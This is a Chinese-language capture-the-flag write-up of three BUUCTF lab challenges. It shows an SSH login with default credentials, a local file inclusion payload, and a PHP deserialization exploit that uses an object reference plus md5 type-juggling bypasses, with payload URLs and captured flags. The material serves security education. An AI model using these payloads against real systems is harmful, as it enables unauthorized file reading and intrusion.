【buuctf】Basic(上)

admin 2025年3月31日10:35:51评论8 views字数 2322阅读7分44秒阅读模式

1.Linux Labs

【buuctf】Basic(上)

根据提示我们可以知道需要远程连接linux服务器,这里使用xshell进行如下配置

【buuctf】Basic(上)

输入ssh的用户名root,密码123456

【buuctf】Basic(上)

连接成功

【buuctf】Basic(上)

构造命令

ls ../

查看文件

【buuctf】Basic(上)

查看flag

cat ../flag.txt

为flag{8fee8783-1ed5-4b67-90eb-a1d603a02080}

【buuctf】Basic(上)

2.BUU LFI COURSE 1

访问url:

http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/

审查源代码,可以发现是通过get方式对file进行传参

【buuctf】Basic(上)

构造payload:

http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/?file=/flag

获取flag为flag{f2be8efe-aafb-4272-9026-15daa6109822}

【buuctf】Basic(上)

3.BUU CODE REVIEW 1

访问url

http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/

审查源码

<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/

highlight_file(__FILE__);

classBUU {                        //类:BUU               
public$correct="";           //公有属性:$correct
public$input="";             //公有属性:$input

publicfunction__destruct() {  //公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
try {
$this->correct=base64_encode(uniqid());      //给correct赋值为base64_encode(uniqid()) //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
if($this->correct===$this->input) {          //判断两个属性是否全等
echofile_get_contents("/flag");           //若全等,则打印根目录下的flag
           }
       } catch (Exception$e) {
       }
   }
}

if($_GET['pleaseget'==='1') {          //GET方法传递pleaseget变量值为1
if($_POST['pleasepost'==='2') {    //POST方法传递pleasepost变量值为2
if(md5($_POST['md51']) ==md5($_POST['md52']) &&$_POST['md51'!=$_POST['md52']) {   //POST方法传递md51和md52的内容不同
但是md5值相同
unserialize($_POST['obj']);
        }
    }
}

编写代码,构造payload

<?php
classBUU{
public$correct="";
public$input="";
}

$obj=newBUU
$obj->input=&$obj->correct////BUU类中的correct和input内容强相等,这里利用传引用的方法
echoserialize($obj);
?>

得到的字符串:

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

通过数组使用hackbar构造payload1

http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/?pleaseget=1
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

如下

【buuctf】Basic(上)

原理:PHP 当中使用== 来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较还是字符比较。 而当一个字符串值是0e开头的时候,那么就会被当成数值。而0exxxxxx都为0.

那么就只需要找到两个不同的数值,开头却是以e0开头的即可。如下图中所示。

【buuctf】Basic(上)

通过弱类型使用hackbar构造payload2

http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/?pleaseget=1
pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

如下

【buuctf】Basic(上)

得到flag{e8db4533-5be4-4167-823c-99aa37dd11c3}

攻防交流群

【buuctf】Basic(上)

声明

免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

原文始发于微信公众号(儒道易行):【buuctf】Basic(上)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月31日10:35:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【buuctf】Basic(上)https://cn-sec.com/archives/3900015.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息